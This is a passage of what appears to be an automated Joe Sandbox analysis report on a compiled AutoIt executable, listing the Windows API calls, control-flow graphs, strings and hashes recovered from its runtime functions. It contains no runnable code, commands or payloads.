                                                                                                                                                                              • Part of subcall function 00007FF697B43B84: GetSysColorBrush.USER32 ref: 00007FF697B43B9E
                                                                                                                                                                              • Part of subcall function 00007FF697B43B84: LoadCursorW.USER32 ref: 00007FF697B43BAE
                                                                                                                                                                              • Part of subcall function 00007FF697B43B84: LoadIconW.USER32 ref: 00007FF697B43BC3
                                                                                                                                                                              • Part of subcall function 00007FF697B43B84: LoadIconW.USER32 ref: 00007FF697B43BDC
                                                                                                                                                                              • Part of subcall function 00007FF697B43B84: LoadIconW.USER32 ref: 00007FF697B43BF5
                                                                                                                                                                              • Part of subcall function 00007FF697B43B84: LoadImageW.USER32 ref: 00007FF697B43C21
                                                                                                                                                                              • Part of subcall function 00007FF697B43B84: RegisterClassExW.USER32 ref: 00007FF697B43C85
                                                                                                                                                                              • Part of subcall function 00007FF697B43CBC: CreateWindowExW.USER32 ref: 00007FF697B43D0C
                                                                                                                                                                              • Part of subcall function 00007FF697B43CBC: CreateWindowExW.USER32 ref: 00007FF697B43D5F
                                                                                                                                                                              • Part of subcall function 00007FF697B43CBC: ShowWindow.USER32 ref: 00007FF697B43D75
                                                                                                                                                                              • Part of subcall function 00007FF697B46258: Shell_NotifyIconW.SHELL32 ref: 00007FF697B46350
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Load$IconWindow$CurrentDirectory$CreateFullNamePath$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell_Show
                                                                                                                                                                            • String ID: This is a third-party compiled AutoIt script.$runas
                                                                                                                                                                            • API String ID: 1593035822-3287110873
                                                                                                                                                                            • Opcode ID: 76182cffaad3958b66f0f298839ba34e861d4864c33095e5d1649e464e4238a0
                                                                                                                                                                            • Instruction ID: ac0cd7dfd679e630ce7495ef343725a518926c4db57d1fd09a1ce25e11f85acb
                                                                                                                                                                            • Opcode Fuzzy Hash: 76182cffaad3958b66f0f298839ba34e861d4864c33095e5d1649e464e4238a0
                                                                                                                                                                            • Instruction Fuzzy Hash: 87712872A1C68399FB30AF20E8511F96761FF427D4F8401B6E54DD76AADE2CE649D300

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            • Executed
                                                                                                                                                                            • Not Executed
                                                                                                                                                                            control_flow_graph 352 7ff697b46580-7ff697b465fc call 7ff697b64c68 call 7ff697b46c98 call 7ff697b65d00 359 7ff697b46737-7ff697b4673a 352->359 360 7ff697b46602-7ff697b46606 352->360 361 7ff697b8c9f5-7ff697b8c9fd call 7ff697bc2e00 359->361 362 7ff697b46740-7ff697b46753 CreateStreamOnHGlobal 359->362 363 7ff697b8ca03-7ff697b8ca1e 360->363 364 7ff697b4660c-7ff697b46617 call 7ff697b75514 360->364 361->363 362->360 365 7ff697b46759-7ff697b46777 FindResourceExW 362->365 374 7ff697b8ca27-7ff697b8ca60 call 7ff697b46810 call 7ff697b467d8 363->374 373 7ff697b4661b-7ff697b4664e call 7ff697b467d8 364->373 365->360 369 7ff697b4677d 365->369 372 7ff697b8c97e-7ff697b8c991 LoadResource 369->372 372->360 375 7ff697b8c997-7ff697b8c9a8 SizeofResource 372->375 382 7ff697b466e8 373->382 383 7ff697b46654-7ff697b4665f 373->383 385 7ff697b466ee 374->385 395 7ff697b8ca66 374->395 375->360 378 7ff697b8c9ae-7ff697b8c9ba LockResource 375->378 378->360 381 7ff697b8c9c0-7ff697b8c9f0 378->381 381->360 382->385 386 7ff697b46661-7ff697b4666f 383->386 387 7ff697b466ae-7ff697b466b2 383->387 392 7ff697b466f1-7ff697b46715 385->392 388 7ff697b46670-7ff697b4667d 386->388 387->382 389 7ff697b466b4-7ff697b466cf call 7ff697b46810 387->389 393 7ff697b46680-7ff697b4668f 388->393 389->373 396 7ff697b46729-7ff697b46736 392->396 397 7ff697b46717-7ff697b46724 call 7ff697b64c24 * 2 392->397 398 7ff697b46691-7ff697b46695 393->398 399 7ff697b466d4-7ff697b466dd 393->399 395->392 397->396 398->374 404 7ff697b4669b-7ff697b466a8 398->404 405 7ff697b466e3-7ff697b466e6 399->405 406 7ff697b46782-7ff697b4678c 399->406 404->388 408 7ff697b466aa 404->408 405->398 409 7ff697b46797-7ff697b467a1 406->409 410 7ff697b4678e 406->410 408->387 411 7ff697b467ce 409->411 412 7ff697b467a3-7ff697b467ad 409->412 410->409 411->372 413 7ff697b467c6 412->413 414 7ff697b467af-7ff697b467bb 412->414 413->411 414->393 415 7ff697b467c1 414->415 415->413
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Resource$CreateFindGlobalLoadLockSizeofStream
                                                                                                                                                                            • String ID: AU3!$EA06$SCRIPT
                                                                                                                                                                            • API String ID: 3051347437-2925976212
                                                                                                                                                                            • Opcode ID: 30f6ba7276d28cb9964872315e4a0112bd0f4edd02183a3a1bb8bc557d64f8ed
                                                                                                                                                                            • Instruction ID: 0664b8be3182c8e0a6d1fda220352f4d7387d900b477d6201d69d6189371cf91
                                                                                                                                                                            • Opcode Fuzzy Hash: 30f6ba7276d28cb9964872315e4a0112bd0f4edd02183a3a1bb8bc557d64f8ed
                                                                                                                                                                            • Instruction Fuzzy Hash: FA91CD72B0964296EB30DF21D444ABC2BA5FB46BC8F4541B6DE5DC7789DE38E408E700

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            • Executed
                                                                                                                                                                            • Not Executed
                                                                                                                                                                            control_flow_graph 482 7ff697b61d80-7ff697b61e17 call 7ff697b49640 GetVersionExW call 7ff697b47cf4 487 7ff697ba9450 482->487 488 7ff697b61e1d 482->488 489 7ff697ba9457-7ff697ba945d 487->489 490 7ff697b61e20-7ff697b61e46 call 7ff697b4dda4 488->490 491 7ff697ba9463-7ff697ba9480 489->491 495 7ff697b61e4c 490->495 496 7ff697b61fc1 490->496 491->491 494 7ff697ba9482-7ff697ba9485 491->494 494->490 497 7ff697ba948b-7ff697ba9491 494->497 498 7ff697b61e53-7ff697b61e59 495->498 496->487 497->489 499 7ff697ba9493 497->499 500 7ff697b61e5f-7ff697b61e7c 498->500 502 7ff697ba9498-7ff697ba94a1 499->502 500->500 501 7ff697b61e7e-7ff697b61e81 500->501 501->502 503 7ff697b61e87-7ff697b61ed6 call 7ff697b4dda4 501->503 502->498 504 7ff697ba94a7 502->504 507 7ff697b61edc-7ff697b61ede 503->507 508 7ff697ba9645-7ff697ba964d 503->508 504->496 511 7ff697b61ee4-7ff697b61efa 507->511 512 7ff697ba94ac-7ff697ba94af 507->512 509 7ff697ba964f-7ff697ba9658 508->509 510 7ff697ba965a-7ff697ba965d 508->510 513 7ff697ba9686-7ff697ba9692 509->513 510->513 514 7ff697ba965f-7ff697ba9674 510->514 515 7ff697ba9572-7ff697ba9579 511->515 516 7ff697b61f00-7ff697b61f02 511->516 517 7ff697b61f3c-7ff697b61f80 GetCurrentProcess IsWow64Process call 7ff697b66240 512->517 518 7ff697ba94b5-7ff697ba9501 512->518 530 7ff697ba969d-7ff697ba96b3 call 7ff697bb32f4 513->530 520 7ff697ba967f 514->520 521 7ff697ba9676-7ff697ba967d 514->521 522 7ff697ba9589-7ff697ba9599 515->522 523 7ff697ba957b-7ff697ba9584 515->523 524 7ff697ba959e-7ff697ba95b3 516->524 525 7ff697b61f08-7ff697b61f0b 516->525 517->530 535 7ff697b61f86-7ff697b61f8b GetSystemInfo 517->535 518->517 519 7ff697ba9507-7ff697ba950e 518->519 528 7ff697ba9510-7ff697ba9518 519->528 529 7ff697ba9534-7ff697ba953c 519->529 520->513 521->513 522->517 523->517 533 7ff697ba95b5-7ff697ba95be 524->533 534 7ff697ba95c3-7ff697ba95d3 524->534 531 7ff697ba95ed-7ff697ba95f0 525->531 532 7ff697b61f11-7ff697b61f2d 525->532 537 7ff697ba9526-7ff697ba952f 528->537 538 7ff697ba951a-7ff697ba9521 528->538 539 7ff697ba953e-7ff697ba9547 529->539 540 7ff697ba954c-7ff697ba9554 529->540 550 7ff697ba96b5-7ff697ba96d5 call 7ff697bb32f4 530->550 551 7ff697ba96d7-7ff697ba96dc GetSystemInfo 530->551 531->517 536 7ff697ba95f6-7ff697ba9620 531->536 542 7ff697ba95d8-7ff697ba95e8 532->542 543 7ff697b61f33 532->543 533->517 534->517 544 7ff697b61f91-7ff697b61fc0 535->544 545 7ff697ba9630-7ff697ba9640 536->545 546 7ff697ba9622-7ff697ba962b 536->546 537->517 538->517 539->517 547 7ff697ba9564-7ff697ba956d 540->547 548 7ff697ba9556-7ff697ba955f 540->548 542->517 543->517 545->517 546->517 547->517 548->517 553 7ff697ba96e2-7ff697ba96ea 550->553 551->553 553->544 555 7ff697ba96f0-7ff697ba96f7 FreeLibrary 553->555 555->544
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Process$CurrentInfoSystemVersionWow64
                                                                                                                                                                            • String ID: |O
                                                                                                                                                                            • API String ID: 1568231622-607156228
                                                                                                                                                                            • Opcode ID: ec54e35f865d5c9bd0249927ea89c9316792baffd49f7d05aa477cb653b26fcc
                                                                                                                                                                            • Instruction ID: cad1256a64336338266d9e52d2f8c0693bc66a483607d4c3792a99c1eee6aa9f
                                                                                                                                                                            • Opcode Fuzzy Hash: ec54e35f865d5c9bd0249927ea89c9316792baffd49f7d05aa477cb653b26fcc
                                                                                                                                                                            • Instruction Fuzzy Hash: 9BD15D22A1D2C2C9FB308F14A8111BD3BA2EF567D4F4440FAD68DC2669DF6CB684D751

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            • Executed
                                                                                                                                                                            • Not Executed
                                                                                                                                                                            control_flow_graph 719 7ff697bdf630-7ff697bdf69e call 7ff697b66240 722 7ff697bdf6d4-7ff697bdf6d9 719->722 723 7ff697bdf6a0-7ff697bdf6b8 call 7ff697b4ffbc 719->723 724 7ff697bdf71e-7ff697bdf723 722->724 725 7ff697bdf6db-7ff697bdf6ef call 7ff697b4ffbc 722->725 734 7ff697bdf6ba-7ff697bdf6d2 call 7ff697b4ffbc 723->734 735 7ff697bdf708-7ff697bdf70d 723->735 728 7ff697bdf725-7ff697bdf729 724->728 729 7ff697bdf736-7ff697bdf75c call 7ff697b4d4cc call 7ff697b4e330 724->729 737 7ff697bdf6f3-7ff697bdf706 call 7ff697b4ffbc 725->737 733 7ff697bdf72d-7ff697bdf732 call 7ff697b4ffbc 728->733 748 7ff697bdf762-7ff697bdf7cf call 7ff697b4d4cc call 7ff697b4e330 call 7ff697b4d4cc call 7ff697b4e330 call 7ff697b4d4cc call 7ff697b4e330 729->748 749 7ff697bdf840-7ff697bdf84a 729->749 733->729 734->737 738 7ff697bdf70f-7ff697bdf717 735->738 739 7ff697bdf719-7ff697bdf71c 735->739 737->724 737->735 738->733 739->724 739->729 797 7ff697bdf7d1-7ff697bdf7f3 call 7ff697b4d4cc call 7ff697b4e330 748->797 798 7ff697bdf806-7ff697bdf83e GetSystemDirectoryW call 7ff697b64c68 GetSystemDirectoryW 748->798 751 7ff697bdf87d-7ff697bdf8af GetCurrentDirectoryW call 7ff697b64c68 GetCurrentDirectoryW 749->751 752 7ff697bdf84c-7ff697bdf86e call 7ff697b4d4cc call 7ff697b4e330 749->752 761 7ff697bdf8b5-7ff697bdf8b8 751->761 752->751 767 7ff697bdf870-7ff697bdf87b call 7ff697b68d58 752->767 764 7ff697bdf8f0-7ff697bdf8ff call 7ff697bbf464 761->764 765 7ff697bdf8ba-7ff697bdf8eb call 7ff697b5f688 * 3 761->765 774 7ff697bdf905-7ff697bdf95d call 7ff697bbfddc call 7ff697bbfca8 call 7ff697bbfafc 764->774 775 7ff697bdf901-7ff697bdf903 764->775 765->764 767->751 767->764 779 7ff697bdf964-7ff697bdf96c 774->779 809 7ff697bdf95f 774->809 775->779 784 7ff697bdf972-7ff697bdfa0d call 7ff697bad1f8 call 7ff697b68d58 * 3 call 7ff697b64c24 * 3 779->784 785 7ff697bdfa0f-7ff697bdfa4b CreateProcessW 779->785 790 7ff697bdfa4f-7ff697bdfa62 call 7ff697b64c24 * 2 784->790 785->790 811 7ff697bdfa64-7ff697bdfabc call 7ff697b44afc * 2 GetLastError call 7ff697b5f214 call 7ff697b513e0 790->811 812 7ff697bdfabe-7ff697bdfaca CloseHandle 790->812 797->798 824 7ff697bdf7f5-7ff697bdf800 call 7ff697b68d58 797->824 798->761 809->779 826 7ff697bdfb3b-7ff697bdfb65 call 7ff697bbf51c 811->826 818 7ff697bdfaf5-7ff697bdfafc 812->818 819 7ff697bdfacc-7ff697bdfaf0 call 7ff697bbf7dc call 7ff697bc0088 call 7ff697bdfb68 812->819 820 7ff697bdfafe-7ff697bdfb0a 818->820 821 7ff697bdfb0c-7ff697bdfb35 call 7ff697b513e0 CloseHandle 818->821 819->818 820->826 821->826 824->761 824->798
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Directory$Handle$CloseCurrentLockSyncSystem$CreateErrorLastProcess
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1787492119-0
                                                                                                                                                                            • Opcode ID: ddb31b1ea6ffbce714698367dc00d601beb7cc94552172ff8982eeff5935b681
                                                                                                                                                                            • Instruction ID: ffd991bd73fd191bcc594ea1bc56a58c182cfa9b680153636032af7208738985
                                                                                                                                                                            • Opcode Fuzzy Hash: ddb31b1ea6ffbce714698367dc00d601beb7cc94552172ff8982eeff5935b681
                                                                                                                                                                            • Instruction Fuzzy Hash: 2BE16B36A08B418AEB20DF26D4502BD67A1FB86BD8F044576EE5D877ADDF38E445C700
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: FileFind$AttributesCloseFirstlstrlen
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2695905019-0
                                                                                                                                                                            • Opcode ID: 0e40a590ccee8b84c2b17bba0c0d64c91c67e628f63cf05be15c9ff0c6569a5d
                                                                                                                                                                            • Instruction ID: a699a4cccd7c2bb4a9669bcb4c1377034287405929318401d6784e54d721e8ba
                                                                                                                                                                            • Opcode Fuzzy Hash: 0e40a590ccee8b84c2b17bba0c0d64c91c67e628f63cf05be15c9ff0c6569a5d
                                                                                                                                                                            • Instruction Fuzzy Hash: 9EF0FE74E0860281EA74AF28AC4C33963A0EF56BF5F545370D97F862ECDF6CA4995600

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: NameQueryValuewcscat$CloseFileFullModuleOpenPath
                                                                                                                                                                            • String ID: Include$Software\AutoIt v3\AutoIt$\Include\
                                                                                                                                                                            • API String ID: 2667193904-1575078665
                                                                                                                                                                            • Opcode ID: 556029334d18f1e7f1a6bcd8ff6412e7b433a3d19d3476e5022d6bd965ae193f
                                                                                                                                                                            • Instruction ID: 718fb74faf7f7e73ede7a5ef689198ffae9e1eef17b4469444d662012ee471fa
                                                                                                                                                                            • Opcode Fuzzy Hash: 556029334d18f1e7f1a6bcd8ff6412e7b433a3d19d3476e5022d6bd965ae193f
                                                                                                                                                                            • Instruction Fuzzy Hash: 12912932A18A8399EB30EF24E8405B97364FF857D4F801176EA4D83AA9DF7CE645D740

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            • Executed
                                                                                                                                                                            • Not Executed
                                                                                                                                                                            control_flow_graph 131 7ff697b45dec-7ff697b45e21 133 7ff697b45e91-7ff697b45e94 131->133 134 7ff697b45e23-7ff697b45e26 131->134 133->134 137 7ff697b45e96 133->137 135 7ff697b45e98 134->135 136 7ff697b45e28-7ff697b45e2f 134->136 141 7ff697b8c229-7ff697b8c261 call 7ff697b5ede4 call 7ff697b62c44 135->141 142 7ff697b45e9e-7ff697b45ea3 135->142 138 7ff697b45f21-7ff697b45f29 PostQuitMessage 136->138 139 7ff697b45e35-7ff697b45e3a 136->139 140 7ff697b45e6b-7ff697b45e76 DefWindowProcW 137->140 147 7ff697b45ec8-7ff697b45eca 138->147 143 7ff697b8c2af-7ff697b8c2c5 call 7ff697bba40c 139->143 144 7ff697b45e40-7ff697b45e43 139->144 146 7ff697b45e7c-7ff697b45e90 140->146 177 7ff697b8c267-7ff697b8c26e 141->177 148 7ff697b45ecc-7ff697b45efa SetTimer RegisterWindowMessageW 142->148 149 7ff697b45ea5-7ff697b45ea8 142->149 143->147 168 7ff697b8c2cb 143->168 150 7ff697b45e49-7ff697b45e4e 144->150 151 7ff697b45f2b-7ff697b45f35 call 7ff697b64610 144->151 147->146 148->147 152 7ff697b45efc-7ff697b45f09 CreatePopupMenu 148->152 155 7ff697b8c1b8-7ff697b8c1bb 149->155 156 7ff697b45eae-7ff697b45ebe KillTimer call 7ff697b45d88 149->156 157 7ff697b8c292-7ff697b8c299 150->157 158 7ff697b45e54-7ff697b45e59 150->158 170 7ff697b45f3a 151->170 152->147 162 7ff697b8c1f7-7ff697b8c224 MoveWindow 155->162 163 7ff697b8c1bd-7ff697b8c1c0 155->163 173 7ff697b45ec3 call 7ff697b47098 156->173 157->140 165 7ff697b8c29f-7ff697b8c2aa call 7ff697bac54c 157->165 166 7ff697b45f0b-7ff697b45f1f call 7ff697b45f3c 158->166 167 7ff697b45e5f-7ff697b45e65 158->167 162->147 171 7ff697b8c1c2-7ff697b8c1c5 163->171 172 7ff697b8c1e4-7ff697b8c1f2 SetFocus 163->172 165->140 166->147 167->140 167->177 168->140 170->147 171->167 178 7ff697b8c1cb-7ff697b8c1df call 7ff697b5ede4 171->178 172->147 173->147 177->140 181 7ff697b8c274-7ff697b8c28d call 7ff697b45d88 call 7ff697b46258 177->181 178->147 181->140
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                                                                                                                                                            • String ID: TaskbarCreated
                                                                                                                                                                            • API String ID: 129472671-2362178303
                                                                                                                                                                            • Opcode ID: 72f25fe2909dc216fe8e5bf23ccffbdf7394ac074e80fb2f1d04dd01aa152451
                                                                                                                                                                            • Instruction ID: e43b0517da2b87b5ecb7f939e2524de216e94379a49b9bcee20ca51b3bb11e4c
                                                                                                                                                                            • Opcode Fuzzy Hash: 72f25fe2909dc216fe8e5bf23ccffbdf7394ac074e80fb2f1d04dd01aa152451
                                                                                                                                                                            • Instruction Fuzzy Hash: AF514A32E4CA4B85FB70AF28E9442B926A6EF46BC0F4405B1D44DC36E9DE6CF545A304

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                                                                                                                                            • String ID: AutoIt v3 GUI$TaskbarCreated
                                                                                                                                                                            • API String ID: 2914291525-2659433951
                                                                                                                                                                            • Opcode ID: 474949a99bec8184bed6bacf9f27c592b422b8b82249946e56584e62d8b9113a
                                                                                                                                                                            • Instruction ID: bd166af33a82d22f191b30a2074a6a9b1432448a19f0e1b64f04f8c85e135ad0
                                                                                                                                                                            • Opcode Fuzzy Hash: 474949a99bec8184bed6bacf9f27c592b422b8b82249946e56584e62d8b9113a
                                                                                                                                                                            • Instruction Fuzzy Hash: F3313536A04B01CAE7209F61E8443AC37B5FB45B88F100179CA8D96B68DF7CE199CB80

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            • Executed
                                                                                                                                                                            • Not Executed
                                                                                                                                                                            control_flow_graph 189 7ff697b5e958-7ff697b5e9ae 190 7ff697ba27e4-7ff697ba27ea DestroyWindow 189->190 191 7ff697b5e9b4-7ff697b5e9d3 mciSendStringW 189->191 194 7ff697ba27f0-7ff697ba2801 190->194 192 7ff697b5ecbd-7ff697b5ecce 191->192 193 7ff697b5e9d9-7ff697b5e9e3 191->193 196 7ff697b5ecf7-7ff697b5ed01 192->196 197 7ff697b5ecd0-7ff697b5ecf0 UnregisterHotKey 192->197 193->194 195 7ff697b5e9e9 193->195 199 7ff697ba2803-7ff697ba2806 194->199 200 7ff697ba2835-7ff697ba283f 194->200 198 7ff697b5e9f0-7ff697b5e9f3 195->198 196->193 202 7ff697b5ed07 196->202 197->196 201 7ff697b5ecf2 call 7ff697b5f270 197->201 204 7ff697b5e9f9-7ff697b5ea08 call 7ff697b43aa8 198->204 205 7ff697b5ecb0-7ff697b5ecb8 call 7ff697b45410 198->205 206 7ff697ba2813-7ff697ba2817 FindClose 199->206 207 7ff697ba2808-7ff697ba2811 call 7ff697b48314 199->207 200->194 203 7ff697ba2841 200->203 201->196 202->192 214 7ff697ba2846-7ff697ba284f call 7ff697bd8c00 203->214 220 7ff697b5ea0f-7ff697b5ea12 204->220 205->198 209 7ff697ba281d-7ff697ba282e 206->209 207->209 209->200 213 7ff697ba2830 call 7ff697bc3180 209->213 213->200 214->220 220->214 222 7ff697b5ea18 220->222 223 7ff697b5ea1f-7ff697b5ea22 222->223 224 7ff697ba2854-7ff697ba285d call 7ff697bb46cc 223->224 225 7ff697b5ea28-7ff697b5ea32 223->225 224->223 226 7ff697ba2862-7ff697ba2873 225->226 227 7ff697b5ea38-7ff697b5ea42 225->227 232 7ff697ba2875 FreeLibrary 226->232 233 7ff697ba287b-7ff697ba2885 226->233 229 7ff697b5ea48-7ff697b5ea76 call 7ff697b513e0 227->229 230 7ff697ba288c-7ff697ba289d 227->230 242 7ff697b5ea78 229->242 243 7ff697b5eabf-7ff697b5eacc OleUninitialize 229->243 234 7ff697ba289f-7ff697ba28c2 VirtualFree 230->234 235 7ff697ba28c9-7ff697ba28d3 230->235 232->233 233->226 237 7ff697ba2887 233->237 234->235 238 